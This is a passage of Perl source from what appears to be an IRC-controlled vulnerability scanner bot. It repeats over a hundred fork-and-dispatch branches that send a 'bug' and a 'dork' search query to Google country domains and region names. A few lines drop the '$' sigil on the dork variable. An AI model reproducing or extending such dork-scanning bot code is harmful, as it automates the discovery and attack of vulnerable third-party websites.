if ($engine =~ /googleDM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDM",$type,$nick,$id); } exit; } }
if ($engine =~ /googleEC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeEC",$type,$nick,$id); } exit; } }
if ($engine =~ /googleEG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeEG",$type,$nick,$id); } exit; } }
if ($engine =~ /googleEE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeEE",$type,$nick,$id); } exit; } }
if ($engine =~ /googleFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFI",$type,$nick,$id); } exit; } }
if ($engine =~ /googleGE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGE",$type,$nick,$id); } exit; } }
if ($engine =~ /googleGH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGH",$type,$nick,$id); } exit; } }
if ($engine =~ /googleHN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHN",$type,$nick,$id); } exit; } }
if ($engine =~ /googleHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHK",$type,$nick,$id); } exit; } }
if ($engine =~ /googleIS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIS",$type,$nick,$id); } exit; } }
if ($engine =~ /googleKE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKE",$type,$nick,$id); } exit; } }
if ($engine =~ /googleKH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKH",$type,$nick,$id); } exit; } }
if ($engine =~ /googleLA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLA",$type,$nick,$id); } exit; } }
if ($engine =~ /googleLV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLV",$type,$nick,$id); } exit; } }
if ($engine =~ /googleLT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLT",$type,$nick,$id); } exit; } }
if ($engine =~ /googleLY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLY",$type,$nick,$id); } exit; } }
if ($engine =~ /googleMK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMK",$type,$nick,$id); } exit; } }
if ($engine =~ /googleMT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMT",$type,$nick,$id); } exit; } }
if ($engine =~ /googleMZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMZ",$type,$nick,$id); } exit; } }
if ($engine =~ /googleNA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNA",$type,$nick,$id); } exit; } }
if ($engine =~ /googleNR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNR",$type,$nick,$id); } exit; } }
if ($engine =~ /googleNP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNP",$type,$nick,$id); } exit; } }
if ($engine =~ /googleNG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNG",$type,$nick,$id); } exit; } }
if ($engine =~ /googlePY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePY",$type,$nick,$id); } exit; } }
if ($engine =~ /googlePE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePE",$type,$nick,$id); } exit; } }
if ($engine =~ /googlePR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePR",$type,$nick,$id); } exit; } }
if ($engine =~ /googleQA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeQA",$type,$nick,$id); } exit; } }
if ($engine =~ /googleSA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSA",$type,$nick,$id); } exit; } }
if ($engine =~ /googleSN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSN",$type,$nick,$id); } exit; } }
if ($engine =~ /googleSK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSK",$type,$nick,$id); } exit; } }
if ($engine =~ /googleLK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLK",$type,$nick,$id); } exit; } }
if ($engine =~ /googleTJ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTJ",$type,$nick,$id); } exit; } }
if ($engine =~ /googleTZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTZ",$type,$nick,$id); } exit; } }
if ($engine =~ /googleTK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTK",$type,$nick,$id); } exit; } }
if ($engine =~ /googleTO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTO",$type,$nick,$id); } exit; } }
if ($engine =~ /googleTN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTN",$type,$nick,$id); } exit; } }
if ($engine =~ /googleUY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUY",$type,$nick,$id); } exit; } }
if ($engine =~ /googleUZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUZ",$type,$nick,$id); } exit; } }
if ($engine =~ /googleVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeVE",$type,$nick,$id); } exit; } }
if ($engine =~ /googleZM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZM",$type,$nick,$id); } exit; } }
if ($engine =~ /googleUG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUG",$type,$nick,$id); } exit; } }
if ($engine =~ /googleTT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTT",$type,$nick,$id); } exit; } }
if ($engine =~ /googleZW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZW",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleMM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMM",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleORG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeORG",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleASIA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeASIA",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleGOV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGOV",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleNET/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNET",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleXXX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeXXX",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleWS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeWS",$type,$nick,$id); } exit; } }
	#if ($engine =~ /dorklist/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dorklist",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type,$nick,$id); } exit; } }
	if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type,$nick,$id); } exit; } }
	if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type,$nick,$id); } exit; } }
	if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type,$nick,$id); } exit; } }
    if ($engine =~ /uae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UAE",$type,$nick,$id); } exit; } }
	if ($engine =~ /myanmar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,dork,"Myanmar",$type,$nick,$id); } exit; } }
	if ($engine =~ /argentina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Argentina",$type,$nick,$id); } exit; } }
	if ($engine =~ /austria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Austria",$type,$nick,$id); } exit; } }
	if ($engine =~ /australia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Australia",$type,$nick,$id); } exit; } }
	if ($engine =~ /brazil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Brazil",$type,$nick,$id); } exit; } }
	if ($engine =~ /canada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Canada",$type,$nick,$id); } exit; } }
	if ($engine =~ /chili/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Chili",$type,$nick,$id); } exit; } }
	if ($engine =~ /cina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cina",$type,$nick,$id); } exit; } }
	if ($engine =~ /comersil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoMersil",$type,$nick,$id); } exit; } }
	if ($engine =~ /czech/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Czech",$type,$nick,$id); } exit; } }
	if ($engine =~ /germany/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Germany",$type,$nick,$id); } exit; } }
	if ($engine =~ /denmark/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Denmark",$type,$nick,$id); } exit; } }
	if ($engine =~ /spain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Spain",$type,$nick,$id); } exit; } }
	if ($engine =~ /europe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Europe",$type,$nick,$id); } exit; } }
	if ($engine =~ /france/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"France",$type,$nick,$id); } exit; } }
	if ($engine =~ /hungary/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hungary",$type,$nick,$id); } exit; } }
	if ($engine =~ /indonesia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Indonesia",$type,$nick,$id); } exit; } }
	if ($engine =~ /israel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Israel",$type,$nick,$id); } exit; } }
	if ($engine =~ /india/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"India",$type,$nick,$id); } exit; } }
	if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Info",$type,$nick,$id); } exit; } }
	if ($engine =~ /iran/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Iran",$type,$nick,$id); } exit; } }
	if ($engine =~ /italy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Italy",$type,$nick,$id); } exit; } }
	if ($engine =~ /japan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Japan",$type,$nick,$id); } exit; } }
	if ($engine =~ /korea/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Korea",$type,$nick,$id); } exit; } }
	if ($engine =~ /mexico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mexico",$type,$nick,$id); } exit; } }
	if ($engine =~ /malaysia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Malaysia",$type,$nick,$id); } exit; } }
	if ($engine =~ /network/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Network",$type,$nick,$id); } exit; } }
	if ($engine =~ /netherlands/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Netherlands",$type,$nick,$id); } exit; } }
	if ($engine =~ /organization/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Organization",$type,$nick,$id); } exit; } }
	if ($engine =~ /philippines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Philippines",$type,$nick,$id); } exit; } }
	if ($engine =~ /poland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Poland",$type,$nick,$id); } exit; } }
	if ($engine =~ /romania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Romania",$type,$nick,$id); } exit; } }
	if ($engine =~ /russian/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Russian",$type,$nick,$id); } exit; } }
	if ($engine =~ /thailand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Thailand",$type,$nick,$id); } exit; } }
	if ($engine =~ /ukraine/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ukraine",$type,$nick,$id); } exit; } }
	if ($engine =~ /england/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"England",$type,$nick,$id); } exit; } }
	if ($engine =~ /usa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"USA",$type,$nick,$id); } exit; } }
	if ($engine =~ /slovenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Slovenia",$type,$nick,$id); } exit; } }
	if ($engine =~ /belgium/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Belgium",$type,$nick,$id); } exit; } }
	if ($engine =~ /bussines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bussines",$type,$nick,$id); } exit; } }
	if ($engine =~ /southafrica/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SouthAfrica",$type,$nick,$id); } exit; } }
	if ($engine =~ /vietnam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Vietnam",$type,$nick,$id); } exit; } }
	if ($engine =~ /tuvalu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tuvalu",$type,$nick,$id); } exit; } }
	if ($engine =~ /cocos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cocos",$type,$nick,$id); } exit; } }
	if ($engine =~ /turky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Turky",$type,$nick,$id); } exit; } }
	if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Asia",$type,$nick,$id); } exit; } }
	if ($engine =~ /serbia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Serbia",$type,$nick,$id); } exit; } }
	if ($engine =~ /singapore/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Singapore",$type,$nick,$id); } exit; } }
	if ($engine =~ /taiwan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Taiwan",$type,$nick,$id); } exit; } }
	if ($engine =~ /sweden/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sweden",$type,$nick,$id); } exit; } }
	if ($engine =~ /pakistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pakistan",$type,$nick,$id); } exit; } }
	if ($engine =~ /norway/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Norway",$type,$nick,$id); } exit; } }
	if ($engine =~ /montenegro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Montenegro",$type,$nick,$id); } exit; } }
	if ($engine =~ /greece/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Greece",$type,$nick,$id); } exit; } }
	if ($engine =~ /education/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Education",$type,$nick,$id); } exit; } }
	if ($engine =~ /goverment/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Goverment",$type,$nick,$id); } exit; } }
	if ($engine =~ /kazakhstan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kazakhstan",$type,$nick,$id); } exit; } }
	if ($engine =~ /afganistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,dork,"Afganistan",$type,$nick,$id); } exit; } }
	if ($engine =~ /albania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Albania",$type,$nick,$id); } exit; } }
	if ($engine =~ /algeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Algeria",$type,$nick,$id); } exit; } }
	if ($engine =~ /angola/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Angola",$type,$nick,$id); } exit; } }
	if ($engine =~ /armenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Armenia",$type,$nick,$id); } exit; } }
	if ($engine =~ /azerbaijan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Azerbaijan",$type,$nick,$id); } exit; } }
	if ($engine =~ /bahrain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bahrain",$type,$nick,$id); } exit; } }
	if ($engine =~ /bangladesh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bangladesh",$type,$nick,$id); } exit; } }
	if ($engine =~ /belarus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Belarus",$type,$nick,$id); } exit; } }
	if ($engine =~ /bhutan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bhutan",$type,$nick,$id); } exit; } }
	if ($engine =~ /bolivia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bolivia",$type,$nick,$id); } exit; } }
	if ($engine =~ /bosnia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bosnia",$type,$nick,$id); } exit; } }
	if ($engine =~ /bulgaria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bulgaria",$type,$nick,$id); } exit; } }
	if ($engine =~ /brunei/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Brunei",$type,$nick,$id); } exit; } }
